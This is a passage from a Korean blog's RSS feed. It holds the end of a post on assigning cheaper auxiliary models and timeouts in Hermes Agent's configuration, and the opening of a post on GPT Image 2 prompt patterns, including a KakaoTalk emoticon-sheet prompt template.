&lt;p data-ke-size=&quot;size16&quot;&gt;예시에 등장한 &lt;code&gt;google/gemini-3-flash-preview&lt;/code&gt;는 공식 문서 예시에도 나온다. 그래도 이름에 &lt;code&gt;preview&lt;/code&gt;가 붙어 있다는 점은 무시하면 안 된다. 장기 운영용 표준 모델로 박아두기보다는, 실제 도입 시점에 OpenRouter나 사용 중인 프로바이더의 카탈로그에서 가격&amp;middot;지원 상태를 다시 확인하는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, Curator는 일반 보조 슬롯과 같은 패턴(&lt;code&gt;provider&lt;/code&gt;, &lt;code&gt;model&lt;/code&gt;, 필요하면 &lt;code&gt;base_url&lt;/code&gt;/&lt;code&gt;api_key&lt;/code&gt;/&lt;code&gt;timeout&lt;/code&gt;)을 따른다. 위치만 &lt;code&gt;auxiliary.curator&lt;/code&gt;다. 기존 설정에 &lt;code&gt;curator.auxiliary&lt;/code&gt;가 남아 있다면 당장 깨질 가능성은 낮지만, 새 글이나 새 설정 예시에서는 레거시 경로를 앞세우지 않는 게 맞다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 비용 절감 전략 &amp;mdash; 작업별 모델 매칭 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuring-models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 모델 설정 문서&lt;/a&gt;는 보조 슬롯을 값싼 모델로 분리할 만한 대표 사례를 꽤 노골적으로 든다. 세션 제목 생성, compression, approval, web_extract처럼 짧거나 요약 중심인 작업은 비싼 추론 모델을 계속 태울 이유가 약하다는 취지다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서의 핵심은 단순하다. 모든 보조 슬롯은 기본적으로 &lt;code&gt;auto&lt;/code&gt;, 즉 메인 모델을 쓰지만, 작업 성격이 가벼운 슬롯은 Flash 계열이나 mini 계열로 분리할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 공식 문서 자체가 비용 측면에서 &lt;code&gt;auto&lt;/code&gt;보다 작업별 분리를 더 실용적인 선택지로 본다는 뜻이다. 단, 구체적인 절감률은 사용량, 프로바이더 가격, 메인 모델 가격에 따라 달라진다. 그래서 이 글에서도 &quot;X% 절약&quot;처럼 숫자를 박아 넣지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 작업 성격에 따른 권장 패턴&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1064&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUUpo0/dJMcagejbUm/VB98t1flXMJjbQKIK1wNT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUUpo0/dJMcagejbUm/VB98t1flXMJjbQKIK1wNT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUUpo0/dJMcagejbUm/VB98t1flXMJjbQKIK1wNT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUUpo0%2FdJMcagejbUm%2FVB98t1flXMJjbQKIK1wNT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1964&quot; height=&quot;1064&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1064&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;공식 가이드의 추천을 작업 성격에 맞춰 정리하면 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;작업&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;특성&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 방향&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;vision (이미지 분석)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;멀티모달, 짧은 호출&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenRouter 경유 멀티모달 Flash 계열&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;compression (대화 압축)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;긴 입력, 빠른 응답&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;OpenRouter 경유 가벼운 Flash 계열&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;web_extract (웹 요약)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;외부 호출 + 긴 timeout&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;timeout 360초 + 가벼운 요약 모델&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;session_search (세션 검색)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빈번 호출, 짧은 텍스트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;main&lt;/code&gt; 프로바이더 위 경량 모델, max_concurrency 제한&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 종합하면, &quot;긴 입력에는 빠른 Flash 계열을, 짧고 잦은 호출에는 경량 모델 + 동시성 제한을&quot; 붙이는 게 공식 가이드의 기본 발상에 가깝다. 절대 수치보다는 이 매칭 패턴 자체가 의사결정의 출발점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 언제 auto로 두는 것이 합리적인가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLKwsb/dJMcabcXeon/nV3WTAm4I0ksKsPw8Hycvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLKwsb/dJMcabcXeon/nV3WTAm4I0ksKsPw8Hycvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLKwsb/dJMcabcXeon/nV3WTAm4I0ksKsPw8Hycvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLKwsb%2FdJMcabcXeon%2FnV3WTAm4I0ksKsPw8Hycvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1984&quot; height=&quot;1086&quot; data-origin-width=&quot;1984&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;모든 슬롯을 분리해야 하는 건 아니다. 다음 두 가지 경우에는 &lt;code&gt;auto&lt;/code&gt;를 그대로 두는 편이 나을 수 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;호출 빈도가 매우 낮은 슬롯(예: 위험 명령어 판단을 거의 트리거하지 않는 사용 패턴): 분리 작업에 드는 시간 대비 절감 효과가 작다.&lt;/li&gt;
&lt;li&gt;보조 모델용 외부 API 키를 별도로 발급하기 어려운 환경: OpenRouter 키 등록까지 가야 분리가 가능하다면, 운영 부담이 절감폭을 넘어설 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 말해, &quot;비싼 슬롯부터 잘라낸다&quot;가 첫 번째 원칙이고, &quot;잘 안 쓰는 슬롯은 나중에&quot;가 두 번째 원칙이다. vision과 compression은 보통 호출량이 가장 많은 슬롯에 속하므로 가장 먼저 분리할 후보다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 트러블슈팅 &amp;mdash; 흔한 오류와 진단 명령&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn50Kr/dJMcaiJUb8B/KW5CMBJlynZqk3rh6iZ8k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn50Kr/dJMcaiJUb8B/KW5CMBJlynZqk3rh6iZ8k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn50Kr/dJMcaiJUb8B/KW5CMBJlynZqk3rh6iZ8k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn50Kr%2FdJMcaiJUb8B%2FKW5CMBJlynZqk3rh6iZ8k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1964&quot; height=&quot;1062&quot; data-origin-width=&quot;1964&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;보조 모델 설정에서 자주 발생하는 패턴은 셋이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, &lt;code&gt;provider&lt;/code&gt; 이름 오타.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, &lt;code&gt;base_url&lt;/code&gt; 누락이나 잘못된 스킴.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;셋째, &lt;code&gt;timeout&lt;/code&gt;이 짧아 외부 호출이 잘려 나가는 케이스. 셋 다 진단 명령으로 빠르게 좁힐 수 있다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1) 현재 보조 모델 설정 확인
hermes config

# 2) 누락된 옵션 자동 추가/마이그레이션
hermes config migrate

# 3) 특정 값을 강제 검증하면서 설정
hermes config set auxiliary.vision.model openai/gpt-4o&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 가이드는 &lt;code&gt;hermes config&lt;/code&gt;로 현재 보조 모델 설정을 확인하고, &lt;code&gt;hermes config migrate&lt;/code&gt;로 누락 옵션을 보충하며, &lt;code&gt;hermes config set&lt;/code&gt;으로 특정 값을 검증하면서 갱신하라고 안내한다. 즉, &quot;show &amp;rarr; migrate &amp;rarr; set&quot;이 보조 모델 트러블슈팅의 기본 순서다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.1 &quot;내 설정이 왜 무시되지?&quot; 패턴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;yaml을 고쳤는데도 변화가 보이지 않을 때 가장 먼저 의심할 곳은 두 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫째, 편집한 yaml이 Hermes가 실제 읽는 경로와 다른 곳에 있는 경우. &lt;code&gt;hermes config path&lt;/code&gt; 또는 &lt;code&gt;env-path&lt;/code&gt; 부분 명령으로 현재 사용 중인 경로를 확인하면 된다(CLI 레퍼런스).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘째, 키 계층 오류. &lt;code&gt;auxiliary.vision.provider&lt;/code&gt;가 아니라 &lt;code&gt;auxiliary.vision: openrouter&lt;/code&gt;처럼 한 단계가 빠진 경우다. 후자는 &lt;code&gt;hermes config check&lt;/code&gt;로 잡아내는 게 빠르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;8.2 timeout과 max_concurrency가 보내는 신호&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;session_search나 web_extract가 잦게 실패한다면 timeout 자체를 의심할 시점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 공식 예시 기준으로 web_extract는 360초(6분), vision과 compression은 120초, approval과 session_search는 30초를 쓴다. vision에는 입력 파일을 가져오는 &lt;code&gt;download_timeout: 30&lt;/code&gt;도 따로 있다. web_extract를 60~90초처럼 짧게 깎아두면 외부 페이지 응답을 기다리는 도중 호출이 잘리기 쉽고, session_search는 &lt;code&gt;max_concurrency&lt;/code&gt; 값이 너무 크면 단기 부하가 튄다. 이 키들은 비용보다 안정성과 직결된다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;결론 &amp;mdash; 비용 절감을 위한 도입 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hermes의 보조 모델 슬롯은 세 단계로 다듬으면 된다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;현황 파악&lt;/b&gt;: &lt;code&gt;hermes config show&lt;/code&gt;로 모든 &lt;code&gt;auxiliary.*.provider&lt;/code&gt;가 &lt;code&gt;auto&lt;/code&gt;인지 확인한다. &lt;code&gt;auto&lt;/code&gt;가 많을수록 메인 모델이 잡일을 떠맡고 있다는 뜻이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;고비용 슬롯부터 분리&lt;/b&gt;: vision과 compression처럼 호출량이 많고 비용 영향이 큰 슬롯을 OpenRouter 경유 Flash 계열로 옮긴다. 인터랙티브 모드 한 번이면 충분하다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;세부 슬롯과 Curator 정리&lt;/b&gt;: web_extract의 timeout, session_search의 &lt;code&gt;max_concurrency&lt;/code&gt;, 그리고 Curator(&lt;code&gt;auxiliary.curator&lt;/code&gt;)까지 작업 성격에 맞춰 손본다. 운영 환경에서 키 이름이 다르다면 공식 문서와 &lt;code&gt;hermes config show&lt;/code&gt; 출력을 우선한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 가지만 기억한다면 충분하다. Hermes는 보조 슬롯을 분리해 비용을 줄이도록 설계되었지만, 기본값은 그 분리를 하지 않는다. 그 한 줄짜리 격차를 메우는 게 이 글이 다룬 전부다.&lt;/p&gt;
&lt;!-- 참고자료 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuration&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes 공식 사용자 가이드 &amp;mdash; Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/configuring-models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes 공식 사용자 가이드 &amp;mdash; Configuring Models&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/user-guide/features/curator&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes 공식 사용자 가이드 &amp;mdash; Curator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://hermes-agent.nousresearch.com/docs/reference/cli-commands&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hermes CLI 레퍼런스&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;!-- 푸터 --&gt;&lt;/div&gt;</description>
      <category>AI/Hermes</category>
      <category>AI 에이전트 비용 절감</category>
      <category>Hermes Agent</category>
      <category>Hermes Agent 리뷰</category>
      <category>Hermes auxiliary model</category>
      <category>Hermes config.yaml</category>
      <category>Hermes model CLI</category>
      <category>Hermes 보조 모델</category>
      <category>Hermes 설정</category>
      <category>모델 라우팅</category>
      <category>보조 모델 분리</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/589</guid>
      <comments>https://goddaehee.tistory.com/589#entry589comment</comments>
      <pubDate>Sat, 2 May 2026 00:11:40 +0900</pubDate>
    </item>
    <item>
      <title>GPT Image2 이미지 잘 만드는 법 : GPT Image2로 한글 썸네일과 인포그래픽까지 끝내기(이미지 프롬프트 패턴, 예시 모음)</title>
      <link>https://goddaehee.tistory.com/588</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2648&quot; data-origin-height=&quot;1494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcKawR/dJMcaffofmB/A1mZlly55TikHVf6K8JuDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcKawR/dJMcaffofmB/A1mZlly55TikHVf6K8JuDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcKawR/dJMcaffofmB/A1mZlly55TikHVf6K8JuDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcKawR%2FdJMcaffofmB%2FA1mZlly55TikHVf6K8JuDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2648&quot; height=&quot;1494&quot; data-origin-width=&quot;2648&quot; data-origin-height=&quot;1494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지난 글에서는 GPT Image 2를 API로 다루는 방법을 정리했다. 이번 글은 방향이 다르다. 코드 한 줄도 쓰지 않고, ChatGPT 채팅창만으로 이미지를 만드는 일반 사용자용 가이드다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 생성 도구는 많지만, 막상 써보면 비슷한 지점에서 막힌다. &quot;예쁜 이미지 만들어줘&quot;라고 했는데 결과물이 어색하다. 한글이 깨진다. 같은 인포그래픽 스타일을 두 번 다시 못 만든다. 이 막막함을 줄이는 가장 빠른 방법은 &lt;b&gt;프롬프트의 구조를 패턴으로 익혀두는 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글은 그 패턴을 7가지 이미지 유형별로 정리한다. 각 유형마다 바로 복사해서 채팅창에 붙여 넣을 수 있는 템플릿을 함께 준비했다. 마지막 섹션에는 필자가 매일 trendshift.io의 GitHub 트렌딩 TOP25를 한 장의 인포그래픽으로 정리할 때 쓰는 워크플로우도 넣었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전편을 한 문장으로 요약하면 이렇다. GPT Image 2에서 체감되는 변화는 텍스트 렌더링, 세계 지식, 색상 정확도였다. 이번 글은 그 세 가지가 일반 사용자의 프롬프트 작성에서 어떻게 바로 체감되는지에 초점을 맞춘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 이모티콘 트렌드 훅 --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #fff4fb 0%, #f0f8ff 100%); border: 2px solid #ffb3d9; border-radius: 16px; padding: 24px 28px; margin: 28px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0; font-size: 12px; color: #e0559a; font-weight: bold; letter-spacing: 0.8px;&quot; data-ke-size=&quot;size14&quot;&gt;  지금 바이럴 중인 트렌드&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 14px 0; font-size: 20px; font-weight: 800; color: #1a1a2e; line-height: 1.4;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;사진 1장 + 프롬프트 1개 &amp;rarr; 나만의 카카오톡 이모티콘 팩&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; color: #444; line-height: 1.75;&quot; data-ke-size=&quot;size16&quot;&gt;이미지 생성 기능이 출시된 이후 한국 SNS를 중심으로 폭발적으로 퍼진 사용법이 있다. 본인 사진을 채팅창에 올리고 프롬프트 한 줄을 입력하면 16가지 표정의 이모티콘 시트가 완성된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 16px 0; color: #444; line-height: 1.75;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 원본사진 - ai로 만든 가상의 인물 사진&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;1598&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgatMX/dJMcagrMVtQ/d93zmKXycQHi3Sr9z5C1r1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgatMX/dJMcagrMVtQ/d93zmKXycQHi3Sr9z5C1r1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgatMX/dJMcagrMVtQ/d93zmKXycQHi3Sr9z5C1r1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgatMX%2FdJMcagrMVtQ%2Fd93zmKXycQHi3Sr9z5C1r1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;311&quot; height=&quot;310&quot; data-origin-width=&quot;1602&quot; data-origin-height=&quot;1598&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0 0 16px 0; color: #444; line-height: 1.75;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 프롬프트&amp;nbsp; 예시&lt;/p&gt;
&lt;pre id=&quot;code_1777438513780&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;첨부 사진 속 인물의 얼굴 특징(눈, 코, 입 위치, 얼굴형, 헤어스타일, 피부톤)을
정확히 유지하면서, 카카오톡 이모티콘 스타일 스티커 16종을 한 장의 이미지로 만들어줘.

[출력 사양]
- 비율: 1:1 정사각형, 해상도 1024&amp;times;1024 이상
- 배치: 4행 &amp;times; 4열 그리드, 16칸 모두 동일 인물
- 배경: 순수 흰색(#FFFFFF), 칸 사이 여백 충분히
- 각 캐릭터: 얼굴 중심 상반신, 흰색 외곽선(약 6px)으로 스티커 컷아웃 처리

[스타일]
- 실사 얼굴 특징을 유지한 세미 카툰 일러스트 (2D)
- 파스텔 톤 컬러 팔레트 (크림 베이지, 연한 핑크, 부드러운 민트, 채도 60% 이하)
- 따뜻하고 귀여운 분위기, 카카오 프렌즈 감성
- 표정마다 어울리는 미니 이모지(하트&amp;hearts;, 물방울 , 별★, 땀 , 번개⚡ 등) 1~2개씩 추가

[16칸 표정-텍스트 매핑] (좌상단부터 행 우선 순서)
1행: 
 (1,1) 귀엽게 삐진 표정 - &quot;흥칫뿡!&quot;
 (1,2) 귀엽게 침 뱉는 표정 - &quot;퉤!&quot;
 (1,3) 귀엽게 말 거는 표정 - &quot;갓대희!&quot;
 (1,4) 뾰루퉁한 표정 - &quot;난 살쪄도 귀엽거든!&quot;

2행:
 (2,1) 호통치는 표정 - &quot;록쳐라!&quot;
 (2,2) 환하게 웃는 표정 - &quot;안녕!&quot;
 (2,3) 우는 표정 - &quot;힝 ㅠㅠ&quot;
 (2,4) 졸린 표정 - &quot;졸려요~&quot;

3행:
 (3,1) 놀란 표정 - &quot;우와!&quot;
 (3,2) 멍한 표정 - &quot;멍~&quot;
 (3,3) 먹는 표정 - &quot;냠냠~&quot;
 (3,4) 사랑스러운 표정(하트 눈) - &quot;좋아요!&quot;

4행:
 (4,1) 화난 표정 - &quot;크앙!&quot;
 (4,2) 짜증난 표정 - &quot;쳇!&quot;
 (4,3) 당황한 표정(땀) - &quot;응?&quot;
 (4,4) 자신만만한 표정(반짝) - &quot;반짝!&quot;

[텍스트 스타일]
- 둥글고 통통한 한글 손글씨체
- 글자 색: 진한 갈색 또는 검정, 흰색 외곽선 2px
